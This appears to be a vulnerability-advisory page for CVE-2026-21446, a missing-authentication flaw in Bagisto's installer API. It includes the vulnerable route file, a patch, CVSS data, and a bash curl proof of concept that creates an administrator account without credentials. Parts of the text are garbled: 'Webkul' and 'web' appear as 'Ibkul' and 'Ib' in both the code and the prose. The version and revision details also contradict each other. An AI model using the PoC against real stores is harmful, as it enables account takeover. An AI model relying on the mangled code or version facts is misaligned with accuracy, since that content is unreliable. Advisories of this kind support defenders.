🛡️ CVE-2026-21446 — bagisto

🔴 CVSS 9.8 — Critical ⚠️ Exploit Public CWE-306 NVD
9.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Bagisto Missing Authentication on Installer API Endpoints

Vulnerable Code

File: packages/Ibkul/Installer/src/Routes/Ib.php

```

<?php

use Illuminate\\Session\\Middleware\\StartSession;

use Illuminate\\Support\\Facades\\Route;

use Ibkul\\Installer\\Http\\Controllers\\InstallerController;

Route::middleware(\['Ib', 'installer\_locale'\])-\>group(function () {

Route::controller(InstallerController::class)-\>group(function () {

Route::get('install', 'index')-\>name('installer.index');

Route::middleware(StartSession::class)-\>prefix('install/api')-\>group(function () {

Route::post('env-file-setup', 'envFileSetup')-\>name('installer.env\_file\_setup');

Route::post('run-migration', 'runMigration')-\>name('installer.run\_migration')-\>withoutMiddleware('Ib');

Route::post('run-seeder', 'runSeeder')-\>name('installer.run\_seeder')-\>withoutMiddleware('Ib');

Route::get('download-sample', 'downloadSample')-\>name('installer.download\_sample')-\>withoutMiddleware('Ib');

Route::post('admin-config-setup', 'adminConfigSetup')-\>name('installer.admin\_config\_setup')-\>withoutMiddleware('Ib');

Route::post('sample-products-setup', 'createSampleProducts')-\>name('installer.sample\_products\_setup')-\>withoutMiddleware('Ib');

});

});

});

```

API routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:

  • Create admin accounts
  • Modify application configuration
  • Potentially overwrite existing data

the underlying API endpoints (/install/api/*) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.

How to Reproduce

1. The Ib installer UI at http://localhost:8000/install has client-side protections

2. However, the API endpoints are directly exploitable:

  • The attack works by calling /install/api/admin-config-setup directly via curl/HTTP client
  • No CSRF token, session, or authentication is required
  • The Ib UI workflow is completely bypassed

Proof of Concept

```

#!/bin/bash

# PoC: Create admin account without authentication

TARGET="http://localhost:8000"

# Create a new admin account

curl -X POST "$TARGET/install/api/admin-config-setup" \

-H "Content-Type: application/json" \

-d '{

"admin_name": "Attacker",

"admin_email": "[email protected]",

"admin_password": "HackedPassword123"

}'

echo ""

echo "New admin account created!"

echo "Login at: $TARGET/admin"

echo "Email: [email protected]"

```

Expected Result

The API should reject unauthenticated requests with 401/403 status.

Actual Result

The API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.

Recommended Patch

Add installation completion check

```

// In InstallerController.php or a new middleware

public function __construct()

{

// Check if application is already installed

if (file_exists(base_path('.env')) &&

config('app.key') &&

\Schema::hasTable('admins') &&

\DB::table('admins')->count() > 0) {

abort(404, 'Application already installed');

}

}

```

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-21446 is classified as CWE-306: Missing Authentication for Critical Function. A sensitive function can be reached without authenticating at all.

Affected software

CVE-2026-21446 is recorded against 2 packages.

  • bagisto (from 2.3.0 up to 2.3.10)
  • bagisto/bagisto (from 2.3.0 up to 2.3.10)

Timeline and source

Published on 2 January 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com

Details

Severity CRITICAL
CVSS Score 9.8
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-306
Public Exploit ⚠️ Yes
Source NVD
Published 2026-01-02
Updated 2026-08-12
Modified 2026-06-17

Affected Packages

Software From version Fixed in
bagisto 2.3.0 2.3.10
bagisto/bagisto 2.3.0 2.3.10

Similar Threats

Exploit Protection

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